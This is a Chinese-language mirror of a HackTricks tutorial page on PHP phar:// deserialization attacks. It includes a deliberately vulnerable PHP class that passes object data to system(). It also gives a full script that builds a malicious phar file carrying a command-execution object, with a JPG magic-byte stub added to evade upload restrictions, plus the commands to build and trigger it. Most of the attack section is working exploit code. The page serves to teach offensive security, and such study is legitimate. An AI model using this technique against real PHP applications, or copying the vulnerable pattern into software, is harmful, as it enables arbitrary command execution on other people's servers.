mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-27 07:01:09 +00:00
110 lines
4.8 KiB
Markdown
110 lines
4.8 KiB
Markdown
# phar:// 反序列化
|
||
|
||
<details>
|
||
|
||
<summary><strong>从零到英雄学习 AWS 黑客技术,通过</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS 红队专家)</strong></a><strong>!</strong></summary>
|
||
|
||
支持 HackTricks 的其他方式:
|
||
|
||
* 如果您想在 **HackTricks 中看到您的公司广告** 或 **下载 HackTricks 的 PDF**,请查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||
* 获取 [**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
|
||
* 发现 [**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们独家的 [**NFT 集合**](https://opensea.io/collection/the-peass-family)
|
||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram 群组**](https://t.me/peass) 或在 **Twitter** 🐦 上 **关注我** [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享您的黑客技巧。
|
||
|
||
</details>
|
||
|
||
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||
|
||
如果您对 **黑客职业** 感兴趣,并且想要黑掉不可黑的 - **我们正在招聘!** (_需要流利的波兰语书写和口语_).
|
||
|
||
{% embed url="https://www.stmcyber.com/careers" %}
|
||
|
||
**Phar** 文件(PHP 归档)包含以序列化格式的元数据,因此,当解析时,这些 **元数据** 会被 **反序列化**,您可以尝试利用 **PHP** 代码中的 **反序列化** 漏洞。
|
||
|
||
关于这个特性最好的一点是,即使使用不执行 PHP 代码的 PHP 函数,如 **file\_get\_contents(), fopen(), file() 或 file\_exists(), md5\_file(), filemtime() 或 filesize()**,这种反序列化也会发生。
|
||
|
||
因此,想象一下这样的情况:您可以让 PHP 网页使用 **`phar://`** 协议获取任意文件的大小,并在代码中找到一个类似于以下的 **类**:
|
||
|
||
{% code title="vunl.php" %}
|
||
```php
|
||
<?php
|
||
class AnyClass {
|
||
public $data = null;
|
||
public function __construct($data) {
|
||
$this->data = $data;
|
||
}
|
||
|
||
function __destruct() {
|
||
system($this->data);
|
||
}
|
||
}
|
||
|
||
filesize("phar://test.phar"); #The attacker can control this path
|
||
```
|
||
```markdown
|
||
{% endcode %}
|
||
|
||
您可以创建一个**phar**文件,当加载时将**滥用这个类来执行任意命令**,类似于:
|
||
|
||
{% code title="create_phar.php" %}
|
||
```
|
||
```php
|
||
<?php
|
||
|
||
class AnyClass {
|
||
public $data = null;
|
||
public function __construct($data) {
|
||
$this->data = $data;
|
||
}
|
||
|
||
function __destruct() {
|
||
system($this->data);
|
||
}
|
||
}
|
||
|
||
// create new Phar
|
||
$phar = new Phar('test.phar');
|
||
$phar->startBuffering();
|
||
$phar->addFromString('test.txt', 'text');
|
||
$phar->setStub("\xff\xd8\xff\n<?php __HALT_COMPILER(); ?>");
|
||
|
||
// add object of any class as meta data
|
||
$object = new AnyClass('whoami');
|
||
$phar->setMetadata($object);
|
||
$phar->stopBuffering();
|
||
```
|
||
{% endcode %}
|
||
|
||
注意,**JPG的魔数**(`\xff\xd8\xff`)被添加到phar文件的开头,以**绕过**可能的文件**上传限制**。\
|
||
使用以下命令**编译**`test.phar`文件:
|
||
```bash
|
||
php --define phar.readonly=0 create_phar.php
|
||
```
|
||
执行 `whoami` 命令来滥用漏洞代码:
|
||
```bash
|
||
php vuln.php
|
||
```
|
||
### 参考资料
|
||
|
||
{% embed url="https://blog.ripstech.com/2018/new-php-exploitation-technique/" %}
|
||
|
||
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||
|
||
如果您对**黑客职业**感兴趣,并且想要攻破不可攻破的系统 - **我们正在招聘!**(_需要流利的波兰语书写和口语_)。
|
||
|
||
{% embed url="https://www.stmcyber.com/careers" %}
|
||
|
||
<details>
|
||
|
||
<summary><strong>通过</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>从零开始学习AWS黑客技术!</strong></summary>
|
||
|
||
其他支持HackTricks的方式:
|
||
|
||
* 如果您想在**HackTricks中看到您的公司广告**或**下载HackTricks的PDF版本**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||
* 获取[**官方的PEASS & HackTricks商品**](https://peass.creator-spring.com)
|
||
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs系列**](https://opensea.io/collection/the-peass-family)
|
||
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或在**Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来**分享您的黑客技巧。
|
||
|
||
</details>
|